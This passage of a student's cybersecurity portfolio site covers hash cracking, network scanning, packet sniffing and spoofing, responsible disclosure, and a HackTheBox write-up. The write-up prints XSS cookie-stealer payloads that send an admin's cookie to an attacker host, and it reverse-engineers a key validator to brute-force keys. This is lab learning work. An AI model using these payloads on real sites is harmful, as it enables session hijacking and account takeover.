"Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 